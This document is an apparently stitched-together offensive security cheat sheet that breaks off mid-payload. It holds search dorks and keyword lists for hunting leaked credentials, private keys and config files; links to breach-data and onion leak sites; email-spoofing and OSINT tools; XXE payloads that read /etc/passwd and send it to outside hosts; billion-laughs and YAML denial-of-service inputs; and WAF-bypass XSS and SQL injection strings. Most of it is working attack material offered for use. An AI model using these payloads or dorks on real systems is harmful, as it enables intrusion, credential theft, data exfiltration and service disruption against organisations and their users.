    site:http://ideone.com | site:http://codebeautify.org | site:http://codeshare.io | site:http://codepen.io | site:http://repl.it | site:http://jsfiddle.net "company"
    # GitLab/GitHub/Bitbucket
    site:github.com | site:gitlab.com | site:bitbucket.org "company"
    # Stackoverflow
    site:stackoverflow.com "target.com"
    # Project management sites
    site:http://trello.com | site:*.atlassian.net "company"
    # Pastebin-like sites
    site:http://justpaste.it | site:http://pastebin.com "company"
    # Config files
    site:target.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:env | ext:ini
    # Database files
    site:target.com ext:sql | ext:dbf | ext:mdb
    # Backup files
    site:target.com ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup
    # .git folder
    inurl:"/.git" target.com -github
    # Exposed documents
    site:target.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv
    # Other files
    site:target.com intitle:index.of | ext:log | ext:php intitle:phpinfo "published by the PHP Group" | inurl:shell | inurl:backdoor | inurl:wso | inurl:cmd | shadow | passwd | boot.ini | inurl:backdoor | inurl:readme | inurl:license | inurl:install | inurl:setup | inurl:config | inurl:"/phpinfo.php" | inurl:".htaccess" | ext:swf
    # SQL errors
    site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"
    # PHP errors
    site:target.com "PHP Parse error" | "PHP Warning" | "PHP Error"
    # Login pages
    site:target.com inurl:signup | inurl:register | intitle:Signup
    # Open redirects
    site:target.com inurl:redir | inurl:url | inurl:redirect | inurl:return | inurl:src=http | inurl:r=http
    # Apache Struts RCE
    site:target.com ext:action | ext:struts | ext:do
    # Search in pastebin
    site:pastebin.com target.com
    # Linkedin employees
    site:linkedin.com employees target.com
    # Wordpress files
    site:target.com inurl:wp-content | inurl:wp-includes
    # Subdomains
    site:*.target.com
    # Sub-subdomains
    site:*.*.target.com
    #Find S3 Buckets
    site:.s3.amazonaws.com | site:http://storage.googleapis.com | site:http://amazonaws.com "target"
    # Traefik
    intitle:traefik inurl:8080/dashboard "target"
    # Jenkins
    intitle:"Dashboard [Jenkins]"
    
    # Other 3rd parties sites
    https://www.google.com/search?q=site%3Agitter.im%20%7C%20site%3Apapaly.com%20%7C%20site%3Aproductforums.google.com%20%7C%20site%3Acoggle.it%20%7C%20site%3Areplt.it%20%7C%20site%3Aycombinator.com%20%7C%20site%3Alibraries.io%20%7C%20site%3Anpm.runkit.com%20%7C%20site%3Anpmjs.com%20%7C%20site%3Ascribd.com%20%22united%22
    # Backup files
    https://www.google.com/search?q=site%3Aunited.com%20ext%3Abkf%20%7C%20ext%3Abkp%20%7C%20ext%3Abak%20%7C%20ext%3Aold%20%7C%20ext%3Abackup
    # Login pages
    https://www.google.com/search?q=site%3Aunited.com%20inurl%3Asignup%20%7C%20inurl%3Aregister%20%7C%20intitle%3ASignup
    # Config files
    https://www.google.com/search?q=site%3Aunited.com%20ext%3Axml%20%7C%20ext%3Aconf%20%7C%20ext%3Acnf%20%7C%20ext%3Areg%20%7C%20ext%3Ainf%20%7C%20ext%3Ardp%20%7C%20ext%3Acfg%20%7C%20ext%3Atxt%20%7C%20ext%3Aora%20%7C%20ext%3Aenv%20%7C%20ext%3Aini
    # .git folder
    https://www.google.com/search?q=inurl%3A%5C%22%2F.git%5C%22%20united.com%20-github
    # Database files
    https://www.google.com/search?q=site%3Aunited.com%20ext%3Asql%20%7C%20ext%3Adbf%20%7C%20ext%3Amdb
    # Open redirects
    https://www.google.com/search?q=site%3Aunited.com%20inurl%3Aredir%20%7C%20inurl%3Aurl%20%7C%20inurl%3Aredirect%20%7C%20inurl%3Areturn%20%7C%20inurl%3Asrc%3Dhttp%20%7C%20inurl%3Ar%3Dhttp
    # Code share sites
    https://www.google.com/search?q=site%3Asharecode.io%20%7C%20site%3Acontrolc.com%20%7C%20site%3Acodepad.co%20%7Csite%3Aideone.com%20%7C%20site%3Acodebeautify.org%20%7C%20site%3Ajsdelivr.com%20%7C%20site%3Acodeshare.io%20%7C%20site%3Acodepen.io%20%7C%20site%3Arepl.it%20%7C%20site%3Ajsfiddle.net%20%22united%22
    # Pastebin-like sites
    https://www.google.com/search?q=site%3Ajustpaste.it%20%7C%20site%3Aheypasteit.com%20%7C%20site%3Apastebin.com%20%22united%22
    # Linkedin employees
    https://www.google.com/search?q=site%3Alinkedin.com%20employees%20united.com
    # Project management sites
    https://www.google.com/search?q=site%3Atrello.com%20%7C%20site%3A*.atlassian.net%20%22united%22
    # Other files
    https://www.google.com/search?q=site%3Aunited.com%20intitle%3Aindex.of%20%7C%20ext%3Alog%20%7C%20ext%3Aphp%20intitle%3Aphpinfo%20%5C%22published%20by%20the%20PHP%20Group%5C%22%20%7C%20inurl%3Ashell%20%7C%20inurl%3Abackdoor%20%7C%20inurl%3Awso%20%7C%20inurl%3Acmd%20%7C%20shadow%20%7C%20passwd%20%7C%20boot.ini%20%7C%20inurl%3Abackdoor%20%7C%20inurl%3Areadme%20%7C%20inurl%3Alicense%20%7C%20inurl%3Ainstall%20%7C%20inurl%3Asetup%20%7C%20inurl%3Aconfig%20%7C%20inurl%3A%5C%22%2Fphpinfo.php%5C%22%20%7C%20inurl%3A%5C%22.htaccess%5C%22%20%7C%20ext%3Aswf
    # Sub-subdomains
    https://www.google.com/search?q=site%3A*.*.united.com
    # Jenkins
    https://www.google.com/search?q=intitle%3A%5C%22Dashboard%20%5BJenkins%5D%5C%22%20%22united%22
    # Traefik
    https://www.google.com/search?q=intitle%3Atraefik%20inurl%3A8080%2Fdashboard%20%22united%22
    # Cloud buckets S3/GCP
    https://www.google.com/search?q=site%3A.s3.amazonaws.com%20%7C%20site%3Astorage.googleapis.com%20%7C%20site%3Aamazonaws.com%20%22united%22
    # SQL errors
    https://www.google.com/search?q=site%3Aunited.com%20intext%3A%5C%22sql%20syntax%20near%5C%22%20%7C%20intext%3A%5C%22syntax%20error%20has%20occurred%5C%22%20%7C%20intext%3A%5C%22incorrect%20syntax%20near%5C%22%20%7C%20intext%3A%5C%22unexpected%20end%20of%20SQL%20command%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20mysql_connect()%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20mysql_query()%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20pg_connect()%5C%22
    # Exposed documents
    https://www.google.com/search?q=site%3Aunited.com%20ext%3Adoc%20%7C%20ext%3Adocx%20%7C%20ext%3Aodt%20%7C%20ext%3Apdf%20%7C%20ext%3Artf%20%7C%20ext%3Asxw%20%7C%20ext%3Apsw%20%7C%20ext%3Appt%20%7C%20ext%3Apptx%20%7C%20ext%3Apps%20%7C%20ext%3Acsv
    # Wordpress files
    https://www.google.com/search?q=site%3Aunited.com%20inurl%3Awp-content%20%7C%20inurl%3Awp-includes
    # Apache Struts RCE
    https://www.google.com/search?q=site%3Aunited.com%20ext%3Aaction%20%7C%20ext%3Astruts%20%7C%20ext%3Ado
    # GitLab/GitHub/Bitbucket
    https://www.google.com/search?q=site%3Agithub.com%20%7C%20site%3Agitlab.com%20%7C%20site%3Abitbucket.org%20%22united%22
    # Subdomains
    https://www.google.com/search?q=site%3A*.united.com
    # Stackoverflow
    https://www.google.com/search?q=site%3Astackoverflow.com%20%22united.com%22
    # PHP errors
    https://www.google.com/search?q=site%3Aunited.com%20%5C%22PHP%20Parse%20error%5C%22%20%7C%20%5C%22PHP%20Warning%5C%22%20%7C%20%5C%22PHP%20Error%5C%22
    #https://github.com/obheda12/GitDorker
    python3 GitDorker.py -tf ~/Tools/.github_tokens -q united.com -p -ri -d Dorks/medium_dorks.txt
    ".mlab.com password"
    "access_key"
    "access_token"
    "amazonaws"
    "api.googlemaps AIza"
    "api_key"
    "api_secret"
    "apidocs"
    "apikey"
    "apiSecret"
    "app_key"
    "app_secret"
    "appkey"
    "appkeysecret"
    "application_key"
    "appsecret"
    "appspot"
    "auth"
    "auth_token"
    "authorizationToken"
    "aws_access"
    "aws_access_key_id"
    "aws_key"
    "aws_secret"
    "aws_token"
    "AWSSecretKey"
    "bashrc password"
    "bucket_password"
    "client_secret"
    "cloudfront"
    "codecov_token"
    "config"
    "conn.login"
    "connectionstring"
    "consumer_key"
    "credentials"
    "database_password"
    "db_password"
    "db_username"
    "dbpasswd"
    "dbpassword"
    "dbuser"
    "dot-files"
    "dotfiles"
    "encryption_key"
    "fabricApiSecret"
    "fb_secret"
    "firebase"
    "ftp"
    "gh_token"
    "github_key"
    "github_token"
    "gitlab"
    "gmail_password"
    "gmail_username"
    "herokuapp"
    "internal"
    "irc_pass"
    "JEKYLL_GITHUB_TOKEN"
    "key"
    "keyPassword"
    "ldap_password"
    "ldap_username"
    "login"
    "mailchimp"
    "mailgun"
    "master_key"
    "mydotfiles"
    "mysql"
    "node_env"
    "npmrc _auth"
    "oauth_token"
    "pass"
    "passwd"
    "password"
    "passwords"
    "pem private"
    "preprod"
    "private_key"
    "prod"
    "pwd"
    "pwds"
    "rds.amazonaws.com password"
    "redis_password"
    "root_password"
    "secret"
    "secret.password"
    "secret_access_key"
    "secret_key"
    "secret_token"
    "secrets"
    "secure"
    "security_credentials"
    "send.keys"
    "send_keys"
    "sendkeys"
    "SF_USERNAME salesforce"
    "sf_username"
    "site.com" FIREBASE_API_JSON=
    "site.com" vim_settings.xml
    "slack_api"
    "slack_token"
    "sql_password"
    "ssh"
    "ssh2_auth_password"
    "sshpass"
    "staging"
    "stg"
    "storePassword"
    "stripe"
    "swagger"
    "testuser"
    "token"
    "x-api-key"
    "xoxb "
    "xoxp"
    Jenkins
    OTP
    oauth
    authoriztion
    password
    pwd
    ftp
    dotfiles
    JDBC
    key-keys
    send_key-keys
    send,key-keys
    token
    user
    login-singin
    passkey-passkeys
    pass
    secret
    SecretAccessKey
    app_AWS_SECRET_ACCESS_KEY AWS_SECRET_ACCESS_KEY
    credentials
    config
    security_credentials
    connectionstring
    ssh2_auth_password
    DB_PASSWORD
    [WFClient] Password= extension:ica
    access_key
    bucket_password
    dbpassword
    dbuser
    extension:avastlic "support.avast.com"
    extension:bat
    extension:cfg
    extension:env
    extension:exs
    extension:ini
    extension:json api.forecast.io
    extension:json googleusercontent client_secret
    extension:json mongolab.com
    extension:pem
    extension:pem private
    extension:ppk
    extension:ppk private
    extension:properties
    extension:sh
    extension:sls
    extension:sql
    extension:sql mysql dump
    extension:sql mysql dump password
    extension:yaml mongolab.com
    extension:zsh
    filename:.bash_history
    filename:.bash_history DOMAIN-NAME
    filename:.bash_profile aws
    filename:.bashrc mailchimp
    filename:.bashrc password
    filename:.cshrc
    filename:.dockercfg auth
    filename:.env DB_USERNAME NOT homestead
    filename:.env MAIL_HOST=smtp.gmail.com
    filename:.esmtprc password
    filename:.ftpconfig
    filename:.git-credentials
    filename:.history
    filename:.htpasswd
    filename:.netrc password
    filename:.npmrc _auth
    filename:.pgpass
    filename:.remote-sync.json
    filename:.s3cfg
    filename:.sh_history
    filename:.tugboat NOT _tugboat
    filename:_netrc password
    filename:apikey
    filename:bash
    filename:bash_history
    filename:bash_profile
    filename:bashrc
    filename:beanstalkd.yml
    filename:CCCam.cfg
    filename:composer.json
    filename:config
    filename:config irc_pass
    filename:config.json auths
    filename:config.php dbpasswd
    filename:configuration.php JConfig password
    filename:connections
    filename:connections.xml
    filename:constants
    filename:credentials
    filename:credentials aws_access_key_id
    filename:cshrc
    filename:database
    filename:dbeaver-data-sources.xml
    filename:deployment-config.json
    filename:dhcpd.conf
    filename:dockercfg
    filename:environment
    filename:express.conf
    filename:express.conf path:.openshift
    filename:filezilla.xml
    filename:filezilla.xml Pass
    filename:git-credentials
    filename:gitconfig
    filename:global
    filename:history
    filename:htpasswd
    filename:hub oauth_token
    filename:id_dsa
    filename:id_rsa
    filename:id_rsa or filename:id_dsa
    filename:idea14.key
    filename:known_hosts
    filename:logins.json
    filename:makefile
    filename:master.key path:config
    filename:netrc
    filename:npmrc
    filename:pass
    filename:passwd path:etc
    filename:pgpass
    filename:prod.exs
    filename:prod.exs NOT prod.secret.exs
    filename:prod.secret.exs
    filename:proftpdpasswd
    filename:recentservers.xml
    filename:recentservers.xml Pass
    filename:robomongo.json
    filename:s3cfg
    filename:secrets.yml password
    filename:server.cfg
    filename:server.cfg rcon password
    filename:settings
    filename:settings.py SECRET_KEY
    filename:sftp-config.json
    filename:sftp-config.json password
    filename:sftp.json path:.vscode
    filename:shadow
    filename:shadow path:etc
    filename:spec
    filename:sshd_config
    filename:token
    filename:tugboat
    filename:ventrilo_srv.ini
    filename:WebServers.xml
    filename:wp-config
    filename:wp-config.php
    filename:zhrc
    HEROKU_API_KEY language:json
    HEROKU_API_KEY language:shell
    HOMEBREW_GITHUB_API_TOKEN language:shell
    jsforce extension:js conn.login
    language:yaml -filename:travis
    msg nickserv identify filename:config
    org:Target "AWS_ACCESS_KEY_ID"
    org:Target "list_aws_accounts"
    org:Target "aws_access_key"
    org:Target "aws_secret_key"
    org:Target "bucket_name"
    org:Target "S3_ACCESS_KEY_ID"
    org:Target "S3_BUCKET"
    org:Target "S3_ENDPOINT"
    org:Target "S3_SECRET_ACCESS_KEY"
    password
    path:sites databases password
    private -language:java
    PT_TOKEN language:bash
    redis_password
    root_password
    secret_access_key
    SECRET_KEY_BASE=
    shodan_api_key language:python
    WORDPRESS_DB_PASSWORD=
    xoxp OR xoxb OR xoxa
    s3.yml
    .exs
    beanstalkd.yml
    deploy.rake
    .sls
    — — — — — — — — — — — — — — — — — — -BASH — — — — — — — — — —
    language:bash password
    language:bash pwd
    language:bash ftp
    language:bash dotfiles
    language:bash JDBC
    language:bash key-keys
    language:bash send_key-keys
    language:bash send,key-keys
    language:bash token
    language:bash user
    language:bash login-singin
    language:bash passkey-passkeys
    language:bash pass
    language:bash secret
    language:bash credentials
    language:bash config
    language:bash security_credentials
    language:bash connectionstring
    language:bash ssh2_auth_password
    — — — — — — — — — — — — — — — — — — -PYTHON — — — — — — — — —
    language:python password
    language:python pwd
    language:python ftp
    language:python dotfiles
    language:python JDBC
    language:python key-keys
    language:python send_key-keys
    language:python send,key-keys
    language:python token
    language:python user
    language:python login-singin
    language:python passkey-passkeys
    language:python pass
    language:python secret
    language:python credentials
    language:python config
    language:python security_credentials
    language:python connectionstring
    language:python ssh2_auth_password
    
    org:facebookresearch https://
    org:facebookresearch http://
    org:facebookresearch ldap
    org:facebookresearch ftp
    org:facebookresearch sftp
    org:facebookresearch host:
    org:facebookresearch login
    
    port:"9200" elastic
    product:"docker"
    product:"kubernetes"
    hostname:"target.com"
    host:"10.10.10.10"
    # Spring boot servers, look for /env or /heapdump
    org:YOUR_TAGET http.favicon.hash:116323821 
    # Company string name to CIDR
    # https://github.com/dhn/spk
    spk -json -s "Google"
    
    # Versatile tool with multiple input options and output formats
    # https://github.com/projectdiscovery/asnmap
    asnmap -i 1.3.3.7 -org GOOGLE -d facebook.com,twitter.com -a AS394161
    
    # https://github.com/nitefood/asn
    asn -n 8.8.8.8
    
    # https://github.com/j3ssie/metabigor
    echo "company" | metabigor net --org
    echo "ASN1111" | metabigor net --asn
    
    # https://github.com/yassineaboukir/Asnlookup
    python asnlookup.py -m -o <Organization>
    
    # https://github.com/harleo/asnip
    asnip -t domain.com -p
    
    # https://github.com/projectdiscovery/mapcidr
    echo 10.10.10.0/24 | mapcidr
    
    # https://github.com/eslam3kl/3klector
    python 3klector.py -t company
    
    # https://github.com/SpiderLabs/HostHunter
    python3 hosthunter.py targets.txt
    
    # Website (with API)
    https://asnlookup.com/
    # pwndb
    # https://github.com/davidtavarez/pwndb
    python3 pwndb.py --target [email protected]
    
    # Websites
    https://link-base.org/index.php
    http://xjypo5vzgmo7jca6b322dnqbsdnp3amd24ybx26x5nxbusccjkm4pwid.onion/
    http://pwndb2am4tzkvold.onion
    https://weleakinfo.to/
    https://www.dehashed.com/search?query=
    https://haveibeenpwned.com
    https://breachchecker.com
    https://vigilante.pw/
    https://leak.sx/
    https://intelx.io
    https://search.illicit.services/
    https://breachdirectory.org/
    
    breachdirectory.org + (hashes.com || md5decrypt.net || crackstation.net)# Nice combination
    
    # Check hashes with this tool
    https://github.com/jackrendor/jhf
    # https://github.com/SimplySecurity/SimplyEmail
    ./SimplyEmail.py
    
    pip3 install mailspoof
    sudo mailspoof -d domain.com
    
    # Test email spoof
    https://emkei.cz/
    
    # Find emails in an org
    https://hunter.io
    https://snov.io/email-finder
    https://app.snov.io/domain-search
    https://hunter.io/
    
    # https://github.com/sham00n/buster
    buster -e [email protected]
    
    # https://github.com/m4ll0k/Infoga
    python infoga.py
    
    # https://github.com/martinvigo/email2phonenumber
    python email2phonenumber.py scrape -e [email protected]
    
    # https://github.com/jkakavas/creepy/
    
    # https://github.com/Josue87/EmailFinder
    emailfinder -d domain.com
    
    # https://github.com/laramies/theHarvester
    python3 theHarvester.py -d domain.com -b "linkedin"
    # https://github.com/obheda12/GitDorker
    python3 GitDorker.py -tf TOKENSFILE -q tesla.com -d dorks/DORKFILE -o target
    
    # https://github.com/dxa4481/truffleHog
    trufflehog https://github.com/Plazmaz/leaky-repo
    trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo
    
    # https://github.com/eth0izzle/shhgit
    shhgit --search-query AWS_ACCESS_KEY_ID=AKIA
    
    # https://github.com/d1vious/git-wild-hunt
    python git-wild-hunt.py -s "extension:json filename:creds language:JSON"
    
    # https://shhgit.darkport.co.uk/
    
    # GitLab (API token required)
    # https://github.com/codeEmitter/token-hunter
    ./token-hunter.py -g 123456
    # https://github.com/Josue87/MetaFinder
    metafinder -d "domain.com" -l 10 -go -bi -ba -o united
    # General
    https://analystresearchtools.com/
    
    # Twitter
    # https://github.com/twintproject/twint
    twint -u username
    
    # Google account
    # https://github.com/mxrch/ghunt
    python hunt.py [email protected]
    
    # Instagram
    # https://github.com/th3unkn0n/osi.ig
    python3 main.py -u username
    
    # Public GDrive docs
    https://www.dedigger.com/#gsc.tab=0
    
    # Websites
    emailrep.io # Accounts registered by email
    tinfoleak.com # Twitter
    mostwantedhf.info # Skype
    searchmy.bio # Instagram
    search.carrot2.org # Results grouped by topic
    boardreader.com # forums
    searchcode.com # search by code in repositories
    swisscows.com # semantic search engine
    publicwww.com # search by source page code
    psbdmp.ws # search in pastebin
    kribrum.io # social-media search engine
    whatsmyname.app
    <?xml version="1.0"?>
    <!DOCTYPE a [<!ENTITY test "THIS IS A STRING!">]>
    <methodCall><methodName>&test;</methodName></methodCall>
    <?xml version="1.0"?>
    <!DOCTYPE a[<!ENTITY test SYSTEM "file:///etc/passwd">]>
    <methodCall><methodName>&test;</methodName></methodCall>
    # https://github.com/BuffaloWill/oxml_xxe
    # https://github.com/enjoiz/XXEinjector
    # Get PHP file:
    <?xml version="1.0"?>
    <!DOCTYPE a [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
    <methodCall><methodName>&test;</methodName></methodCall>
    
    # Classic XXE Base64 encoded
    <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
    
    # Check if entities are enabled
    <!DOCTYPE replace [<!ENTITY test "pentest"> ]>
     <root>
      <xxe>&test;</xxe>
     </root>
    
    # XXE LFI:
    <!DOCTYPE foo [  
    <!ELEMENT foo (#ANY)>
    <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
    
    # XXE Blind LFI:
    <!DOCTYPE foo [
    <!ELEMENT foo (#ANY)>
    <!ENTITY % xxe SYSTEM "file:///etc/passwd">
    <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
    
    # XXE Access control bypass
    <!DOCTYPE foo [
    <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
    <foo><result>&ac;</result></foo>
    
    # XXE to SSRF:
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
    
    # XXE OOB
    <?xml version="1.0"?>
    <!DOCTYPE data [ 
     <!ENTITY % file SYSTEM "file:///etc/passwd">
     <!ENTITY % dtd SYSTEM "http://your.host/remote.dtd"> 
    %dtd;]>
    <data>&send;</data>
    
    # PHP Wrapper inside XXE
    <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
    <contacts>
      <contact>
        <name>Jean &xxe; Dupont</name>
        <phone>00 11 22 33 44</phone>
        <adress>42 rue du CTF</adress>
        <zipcode>75000</zipcode>
        <city>Paris</city>
      </contact>
    </contacts>
    
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY % xxe SYSTEM "php://filter/convert.bae64-encode/resource=http://10.0.0.3" >
    ]>
    <foo>&xxe;</foo>
    
    # Deny Of Service - Billion Laugh Attack
    
    <!DOCTYPE data [
    <!ENTITY a0 "dos" >
    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
    <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
    <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
    ]>
    <data>&a4;</data>
    
    # Yaml attack
    
    a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
    b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
    c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
    d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
    e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
    f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
    g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
    h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
    i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
    
    # XXE OOB Attack (Yunusov, 2013)
    
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
    <data>&send;</data>
    
    File stored on http://publicServer.com/parameterEntity_oob.dtd
    <!ENTITY % file SYSTEM "file:///sys/power/image_size">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
    %all;
    
    # XXE OOB with DTD and PHP filter
    
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://92.222.81.2/dtd.xml">
    %sp;
    %param1;
    ]>
    <r>&exfil;</r>
    
    File stored on http://92.222.81.2/dtd.xml
    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://92.222.81.2/dtd.xml?%data;'>">
    
    # XXE Inside SOAP
    
    <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
    
    # XXE PoC
    
    <!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
    <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
    <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [<!ELEMENT foo ANY><!ENTITY xxe_test SYSTEM "file:///etc/passwd">]><foo>&xxe_test;</foo>
    
    # XXE file upload SVG
    <svg>&xxe;</svg>
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
        <image xlink:href="expect://ls"></image>
    </svg>
    
    <?xml version="1.0" encdoing="UTF-8" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="14" x="0" y="16">&xxe;</text></svg>  
    
    # XXE Hidden Attack
    
    - Xinclude
    
    Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
    Set the value of the productId parameter to:
    <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
    
    - File uploads:
    
    Create a local SVG image with the following content:
    <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
    Post a comment on a blog post, and upload this image as an avatar.
    When you view your comment, you should see the contents of the /etc/hostname file in your image. Then use the "Submit solution" but
    # Manual identification
    dig +short target.com
    curl -s https://ipinfo.io/<ip address> | jq -r '.com'
    
    # Always check DNS History for original IP leak
    https://whoisrequest.com/history/
    
    # Waf detection
    nmap --script=http-waf-fingerprint victim.com
    nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 victim.com
    nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro " victim.com
    wafw00f victim.com
    
    # Good bypass payload:
    %0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)
    javascript:”/*’/*`/* →<html \” onmouseover=/*&lt;svg/*/onload=alert()//>
    
    # Bypass trying to access to :
    dev.domain.com
    stage.domain.com
    ww1/ww2/ww3...domain.com
    www.domain.uk/jp/
    
    # Akamai
    origin.sub.domain.com
    origin-sub.domain.com
    - Send header:
    Pragma: akamai-x-get-true-cache-key
    {{constructor.constructor(alert`1`)()}}
    \');confirm(1);//
    444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/"p"/**/#
    
    # ModSecurity Bypass
    <img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>
    
    # Cloudflare
    python3 cloudflair.py domain.com
    # https://github.com/mandatoryprogrammer/cloudflare_enum
    cloudflare_enum.py disney.com
    https://viewdns.info/iphistory/?domain=domain.com
    https://whoisrequest.com/history/
    
    # Cloudflare bypasses
    <!<script>alert(1)</script>
    <a href=”j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this[‘document’][‘cookie’]&rpar;”>X</a>
    <img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert'1';>
    <select><noembed></select><script x='a@b'a>y='a@b'//a@b%0a\u0061lert(1)</script x>
    <a+HREF=’%26%237javascrip%26%239t:alert%26lpar;document.domain)’>
    
    # Aqtronix WebKnight WAF
    - SQLi
    0 union(select 1,@@hostname,@@datadir)
    0 union(select 1,username,password from(users))
    - XSS
    <details ontoggle=alert(document.cookie)>
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    
    # ModSecurity
    - XSS
    <scr%00ipt>alert(document.cookie)</scr%00ipt>
    onmouseover%0B=
    ontoggle%0B%3D
    <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(“123”)>
    - SQLi
    1+uni%0Bon+se%0Blect+1,2,3
    
    # Imperva Incapsula
    https://medium.com/@0xpegg/imperva-waf-bypass-96360189c3c5
    url.com/search?search=%3E%3C/span%3E%3Cp%20onmouseover=%27p%3D%7E%5B%5D%3Bp%3D%7B%5F%5F%5F%3A%2B%2Bp%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%5F%24%3A%2B%2Bp%2C%24%5F%24%5F%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%24%5F%3A%2B%2Bp%2C%24%5F%24%24%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%24%3A%28p%5Bp%5D%2B%22%22%29%5Bp%5D%2C%5F%24%24%3A%2B%2Bp%2C%24%24%24%5F%3A%28%21%22%22%2B%22%22%29%5Bp%5D%2C%24%5F%5F%3A%2B%2Bp%2C%24%5F%24%3A%2B%2Bp%2C%24%24%5F%5F%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%3A%2B%2Bp%2C%24%24%24%3A%2B%2Bp%2C%24%5F%5F%5F%3A%2B%2Bp%2C%24%5F%5F%24%3A%2B%2Bp%7D%3Bp%2E%24%5F%3D%28p%2E%24%5F%3Dp%2B%22%22%29%5Bp%2E%24%5F%24%5D%2B%28p%2E%5F%24%3Dp%2E%24%5F%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%24%24%3D%28p%2E%24%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28%28%21p%29%2B%22%22%29%5Bp%2E%5F%24%24%5D%2B%28p%2E%5F%5F%3Dp%2E%24%5F%5Bp%2E%24%24%5F%5D%29%2B%28p%2E%24%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%5F%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%5F%5D%29%2Bp%2E%24%5F%5Bp%2E%24%5F%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%24%2Bp%2E%24%3Bp%2E%24%24%3Dp%2E%24%2B%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%24%5D%2Bp%2E